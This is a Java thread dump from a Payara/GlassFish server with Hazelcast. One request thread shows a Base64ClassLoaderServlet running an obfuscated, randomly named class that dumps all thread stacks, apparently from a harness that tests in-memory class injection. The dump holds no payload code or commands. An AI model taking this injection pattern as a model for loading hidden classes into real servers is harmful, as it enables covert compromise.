java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.event-5" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6359f99 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"http-thread-pool::http-listener-2(5)" #131 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3898f913 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ForkJoinPool.commonPool-worker-1" #119 daemon [TIMED_WAITING] on java.util.concurrent.ForkJoinPool@44a2f7ff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:449) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.awaitWork(ForkJoinPool.java:1891) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1809) + at java.base@21.0.11/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:188) + +"admin-thread-pool::admin-listener(1)" #134 daemon [WAITING] on java.lang.Object@4599f67c + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.SlowOperationDetectorThread" #89 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:558) + at java.base@21.0.11/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:289) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"hz.blissful_keller.IO.thread-out-0" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.cached.thread-6" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:548) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:592) + at java.base@21.0.11/java.net.Socket.connect(Socket.java:757) + at java.base@21.0.11/sun.net.NetworkClient.doConnect(NetworkClient.java:178) + at java.base@21.0.11/sun.net.www.http.HttpClient.openServer(HttpClient.java:531) + at java.base@21.0.11/sun.net.www.http.HttpClient.openServer(HttpClient.java:636) + at java.base@21.0.11/sun.net.www.http.HttpClient.(HttpClient.java:282) + at java.base@21.0.11/sun.net.www.http.HttpClient.New(HttpClient.java:386) + at java.base@21.0.11/sun.net.www.http.HttpClient.New(HttpClient.java:408) + at java.base@21.0.11/sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1327) + at java.base@21.0.11/sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1260) + at java.base@21.0.11/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1146) + at java.base@21.0.11/sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1075) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:89) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:103) + at com.hazelcast.internal.util.phonehome.CloudInfoCollector.forEachMetric(CloudInfoCollector.java:80) + at com.hazelcast.internal.util.phonehome.PhoneHome.createParameters(PhoneHome.java:161) + at com.hazelcast.internal.util.phonehome.PhoneHome.phoneHome(PhoneHome.java:150) + at com.hazelcast.internal.util.phonehome.PhoneHome.lambda$check$0(PhoneHome.java:98) + at com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda/0x000000d001758240.run(Unknown Source) + at com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator.run(DelegateAndSkipOnConcurrentExecutionDecorator.java:77) + at com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker.run(CachedExecutorServiceDelegate.java:217) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"EventAdminAsyncThread #2" #170 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48be55ef + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-5" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-4" #141 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-thread-pool::http-listener-1(4)" #123 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at com.google.gso.QatZj.ErrorEjlfxHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.11/java.lang.String.valueOf(String.java:4454) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1554) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.glassfish.tyrus.servlet.TyrusServletFilter.doFilter(TyrusServletFilter.java:83) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:166) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:366) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:238) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundSessionProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #152 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic.run(ContainerBase.java:1892) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-10" #43 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.IO.thread-Acceptor" #111 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.acceptLoop(TcpServerAcceptor.java:186) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.run(TcpServerAcceptor.java:172) + +"hz.blissful_keller.HealthMonitor" #96 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:558) + at java.base@21.0.11/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"FelixResolver-11" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"SCR Component Actor" #185 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51b7c9e + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"iiop-service-kernel(1) SelectorRunner" #137 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.priority-generic-operation.thread-0" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@450503c2 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:98) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"fileinstall-/opt/payara/appserver/glassfish/domains/domain1/autodeploy/" #177 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:293) + +"hz.blissful_keller.partition-operation.thread-10" #82 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RunLevelControllerThread-1785653510577" #47 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5afb5ca2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundSessionProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #149 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic.run(ContainerBase.java:1892) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #7" #176 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.IO.thread-out-1" #108 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.partition-operation.thread-5" #77 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) 